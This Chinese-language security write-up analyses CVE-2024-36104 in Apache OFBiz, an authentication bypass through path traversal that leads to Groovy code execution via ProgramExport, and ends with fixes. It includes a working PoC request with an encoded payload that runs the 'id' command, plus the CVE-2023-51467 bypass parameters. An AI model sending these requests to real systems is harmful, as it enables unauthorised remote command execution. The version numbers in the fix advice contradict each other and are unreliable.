Apache OFBiz 最新Grovvy代码执行分析(CVE-2024-36104)
字数 1663 2025-08-20 18:18:39
Apache OFBiz Groovy代码执行漏洞分析 (CVE-2024-36104)
漏洞概述
Apache OFBiz是一个开源的企业级业务流程开发框架。近期爆出的CVE-2024-36104漏洞允许攻击者通过webtools/control/ProgramExport接口执行恶意Groovy代码,从而实现任意命令执行。该漏洞与之前发现的CVE-2024-32113和CVE-2023-51467相关,都是基于对ProgramExport接口的利用。
环境搭建
- 下载OFBiz 18.12.14版本
- 安装Gradle并将项目导入IDEA
- 执行build命令生成ofbiz.jar
- 添加JAR Application并设置JAR路径启动项目
- 访问https://127.0.0.1:8443/accounting验证环境是否搭建成功
相关漏洞分析
CVE-2023-51467 (鉴权绕过漏洞)
漏洞原理:
- 在
org.apache.ofbiz.webapp.control.LoginWorker#checkLogin()中 - 提交参数
USERNAME=&PASSWORD=&requirePasswordChange=Y可绕过登录验证 - 当
userLogin==null时,程序进入if语句 login()方法中,如果requirePasswordChange=Y则返回"requirePasswordChange"- 导致
checkLogin()最终返回"success"从而绕过认证
修复方式:
- 18.12.11版本改用
UtilValidate.isEmpty()判断参数是否为空
CVE-2024-36104 (路径限制不当漏洞)
漏洞利用方式:
- 通过路径遍历绕过身份验证:
POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport - 直接访问无需认证的接口:
POST /webtools/control/forgotPassword/ProgramExport
POC示例:
POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
Host: x.x.x.x
Content-Type: application/x-www-form-urlencoded
Content-Length: 262
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
漏洞详细分析
请求处理流程
-
ControlFilter处理:
- 请求首先经过一系列Filter
- 18.14.13版本新增了对特殊字符的过滤,但仍有绕过可能
-
ControlServlet处理:
doGet()方法进行请求预处理- 获取用户session信息和设置响应头
- 进入
RequestHandler.doRequest()
-
RequestHandler处理:
- 解析WEB-INF/common-controller.xml配置文件
- 获取request-map标签信息,特别是security标签中的auth值
forgotPassword接口的auth=false(无需认证)
-
请求URI处理:
- 通过
getRequestUri()从path中提取第一个路径段(如forgotPassword) - 使用
getOverrideViewUri()获取实际要调用的接口(如ProgramExport)
- 通过
-
认证绕过:
- 由于requestUri是forgotPassword,
requestMap.securityAuth为False - 跳过
checkLogin()的身份验证
- 由于requestUri是forgotPassword,
-
视图渲染:
- 当
nextRequestResponse.type=view时进入renderView() - 使用之前获取的
overrideViewUri(ProgramExport)处理业务逻辑
- 当
关键代码分析
-
路径处理:
// 获取请求URI String requestUri = getRequestUri(path); // 获取要覆盖的视图URI String overrideViewUri = getOverrideViewUri(path, requestUri); -
认证检查:
if (requestMap.securityAuth) { this.runEvent(request, response, checkLoginEvent, null, "security-auth"); } -
视图渲染:
if ("view".equals(nextRequestResponse.type)) { renderView(nextRequestResponse, request, response); }
修复方案
- 升级到最新版本(18.12.14及以上)
- 在ControlFilter中添加对特殊字符(如
;和%2e)的过滤 - 加强对ProgramExport接口的访问控制
- 对所有敏感接口实施严格的权限验证
总结
CVE-2024-36104漏洞的核心在于:
- ProgramExport接口允许执行Groovy代码
- 通过路径处理逻辑可以绕过身份验证
- 结合无需认证的接口(如forgotPassword)实现RCE
建议用户及时升级并检查系统中是否存在类似的路径处理问题,对所有执行代码的接口实施严格的访问控制。